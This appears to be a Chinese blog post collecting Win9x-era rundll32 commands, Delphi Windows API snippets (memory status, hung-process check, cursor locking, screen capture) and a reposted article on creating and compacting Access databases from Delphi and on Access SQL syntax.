"rundll32 mouse,disable" - 让鼠标失效

"rundll32 user,swapmousebutton" - 交换鼠标按钮

"rundll32 user,setcursorpos" - 设置鼠标位置为(0,0)

"rundll32 user,wnetconnectdialog" - 打开"映射网络驱动器"窗口

"rundll32 user,wnetdisconnectdialog" - 打开"断开网络驱动器"窗口

"rundll32 user,disableoemlayer" - 显示BSOD窗口, (BSOD) = Blue Screen Of Death, 即蓝屏

"rundll32 diskcopy,DiskCopyRunDll" - 打开磁盘复制窗口

"rundll32 rnaui.dll,RnaWizard" - 运行"Internet连接向导", 如果加上参数"/1"则为silent模式

"rundll32 shell32,SHFormatDrive" - 打开"格式化磁盘(A)"窗口

"rundll32 shell32,SHExitWindowsEx -1" - 冷启动Windows Explorer

"rundll32 shell32,SHExitWindowsEx 1" - 关机

"rundll32 shell32,SHExitWindowsEx 0" - 退当前用户

"rundll32 shell32,SHExitWindowsEx 2" Windows9x 快速重启

"rundll32 krnl386.exe,exitkernel" - 强行退出Windows 9x(无确认)

"rundll rnaui.dll,RnaDial "MyConnect" - 运行"网络连接"对话框

"rundll32 msprint2.dll,RUNDLL_PrintTestPage" - 选择打印机和打印测试页

"rundll32 user,setcaretblinktime" - 设置光标闪烁速度

"rundll32 user, setdoubleclicktime" - 测试鼠标双击速度

"rundll32 sysdm.cpl,InstallDevice_Rundll" - 搜索非PnP设备

***********************************

messagebeep(0);//声卡发出be声

windows.beep(2000,2000);//pc喇叭发出be声，很吓人//前一个是频率，后一个是延时，98下会忽略

*******************************************************

得到可用内存和系统资源

procedure Tversion.FormCreate(Sender: TObject);

var

MS: TMemoryStatus;

begin

GlobalMemoryStatus(MS);

label5.Caption := '可用内存：'+FormatFloat('#,###" KB"', MS.dwTotalPhys / 1024);

label6.Caption := '系统资源 '+Format('%d %%', [MS.dwMemoryLoad])+' 可用';

end;

*****************************************************

检查程序是否无响映

function IsBusy(ProcessId: Integer): Integer;

var

Ph: THandle;

begin

Ph := OpenProcess(PROCESS_ALL_ACCESS, false, ProcessId);

if Ph <> 0 then

begin

if WaitForInputIdle(Ph, 10) = WAIT_TIMEOUT then

Result := 1

else

Result := 0;

CloseHandle(Ph);

end

else Result := -1;

end;

******************************

琐住鼠标 + 琐住键盘

-*******-*-*****************

var a:TRect;

temp:integer;

begin

{屏蔽系统键}

SystemParametersInfo( SPI_SCREENSAVERRUNNING, 1, @temp, 0);

a:=rect(0,0,5,5);

{锁定鼠标在一定区域内，最好锁在你的窗口里}

ClipCursor(@a);

end;

{解除锁定}

begin

SystemParametersInfo( SPI_SCREENSAVERRUNNING, 0, @temp, 0);

ClipCursor(nil);

end;

******************************

copy屏幕

-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

procedure TForm1.Button1Click(Sender: TObject);

var

dc:hdc;

mycanvas:TCanVas;

mybitmap:TBitmap;

begin

application.Minimize;

mycanvas:=TCanvas.Create;

mybitmap:=tbitmap.Create;

dc:=getdc(0);

try

myCanvas.Handle := DC;

with Screen do

begin

MyBitmap.Width := Width;

MyBitmap.Height := Height;

MyBitmap.Canvas.CopyRect(Rect(0,0,Width,Height),myCanvas,Rect(0,0,Width,Height));

image1.Picture.Bitmap.Assign(mybitmap);

end;

finally

releasedc(0,dc);

mycanvas.Free;

mybitmap.Free;

end;

application.Restore;

end;

***************************

ACCESS技巧集

作者:ysai

转载请保持文章完整并标明出处

1.DELPHI中操作ACCESS数据库(建立.mdb文件,压缩数据库)

以下代码在WIN2K,D6,MDAC2.6下测试通过,

编译好的程序在WIN98第二版无ACCESS环境下运行成功.

//声明连接字符串

Const

SConnectionString = 'Provider=Microsoft.Jet.OLEDB.4.0;Data Source=%s;'

+'Jet OLEDB:Database Password=%s;';

//=============================================================================

// Procedure: GetTempPathFileName

// Author : ysai

// Date : 2003-01-27

// Arguments: (None)

// Result : string

//=============================================================================

function GetTempPathFileName():string;

//取得临时文件名

var

SPath,SFile:array [0..254] of char;

begin

GetTempPath(254,SPath);

GetTempFileName(SPath,'~SM',0,SFile);

result:=SFile;

DeleteFile(result);

end;

//=============================================================================

// Procedure: CreateAccessFile

// Author : ysai

// Date : 2003-01-27

// Arguments: FileName:String;PassWord:string=''

// Result : boolean

//=============================================================================

function CreateAccessFile(FileName:String;PassWord:string=''):boolean;

//建立Access文件，如果文件存在则失败

var

STempFileName:string;

vCatalog:OleVariant;

begin

STempFileName:=GetTempPathFileName;

try

vCatalog:=CreateOleObject('ADOX.Catalog');

vCatalog.Create(format(SConnectionString,[STempFileName,PassWord]));

result:=CopyFile(PChar(STempFileName),PChar(FileName),True);

DeleteFile(STempFileName);

except

result:=false;

end;

//=============================================================================

// Procedure: CompactDatabase

// Author : ysai

// Date : 2003-01-27

// Arguments: AFileName,APassWord:string

// Result : boolean

//=============================================================================

function CompactDatabase(AFileName,APassWord:string):boolean;

//压缩与修复数据库,覆盖源文件

var

STempFileName:string;

vJE:OleVariant;

begin

STempFileName:=GetTempPathFileName;

try

vJE:=CreateOleObject('JRO.JetEngine');

vJE.CompactDatabase(format(SConnectionString,[AFileName,APassWord]),

format(SConnectionString,[STempFileName,APassWord]));

result:=CopyFile(PChar(STempFileName),PChar(AFileName),false);

DeleteFile(STempFileName);

except

result:=false;

end;

2.ACCESS中使用SQL语句应注意的地方及几点技巧

以下SQL语句在ACCESS XP的查询中测试通过

建表:

Create Table Tab1 (

ID Counter,

Name string,

Age integer,

[Date] DateTime);

技巧:

自增字段用 Counter 声明.

字段名为关键字的字段用方括号[]括起来,数字作为字段名也可行.

建立索引:

下面的语句在Tab1的Date列上建立可重复索引

Create Index iDate ON Tab1 ([Date]);

完成后ACCESS中字段Date索引属性显示为 - 有(有重复).

下面的语句在Tab1的Name列上建立不可重复索引

Create Unique Index iName ON Tab1 (Name);

完成后ACCESS中字段Name索引属性显示为 - 有(无重复).

ACCESS与SQLSERVER中的UPDATE语句对比:

SQLSERVER中更新多表的UPDATE语句:

UPDATE Tab1

SET a.Name = b.Name

FROM Tab1 a,Tab2 b

WHERE a.ID = b.ID;

同样功能的SQL语句在ACCESS中应该是

UPDATE Tab1 a,Tab2 b

SET a.Name = b.Name

WHERE a.ID = b.ID;

即:ACCESS中的UPDATE语句没有FROM子句,所有引用的表都列在UPDATE关键字后.

上例中如果Tab2可以不是一个表,而是一个查询,例:

UPDATE Tab1 a,(Select ID,Name From Tab2) b

SET a.Name = b.Name

WHERE a.ID = b.ID;

访问多个不同的ACCESS数据库-在SQL中使用In子句:

Select a.*,b.* From Tab1 a,Tab2 b In 'db2.mdb' Where a.ID=b.ID;

上面的SQL语句查询出当前数据库中Tab1和db2.mdb(当前文件夹中)中Tab2以ID为关联的所有记录.

缺点-外部数据库不能带密码.

在ACCESS中访问其它ODBC数据源

下例在ACCESS中查询SQLSERVER中的数据

SELECT * FROM Tab1 IN [ODBC]

[ODBC;Driver=SQL Server;UID=sa;PWD=;Server=127.0.0.1;DataBase=Demo;]

外部数据源连接属性的完整参数是:

[ODBC;DRIVER=driver;SERVER=server;DATABASE=database;UID=user;PWD=password;]

其中的DRIVER=driver可以在注册表中的

HKEY_LOCAL_MACHINE/SOFTWARE/ODBC/ODBCINST.INI/

中找到

ACCESS支持子查询

ACCESS支持外连接,但不包括完整外部联接,如支持

LEFT JOIN 或 RIGHT JOIN

但不支持

FULL OUTER JOIN 或 FULL JOIN

ACCESS中的日期查询

注意:ACCESS中的日期时间分隔符是#而不是引号

Select * From Tab1 Where [Date]>#2002-1-1#;

在DELPHI中我这样用

SQL.Add(Format(

'Select * From Tab1 Where [Date]>#%s#;',

[DateToStr(Date)]));

Trackback: http://tb.blog.youkuaiyun.com/TrackBack.aspx?PostId=255482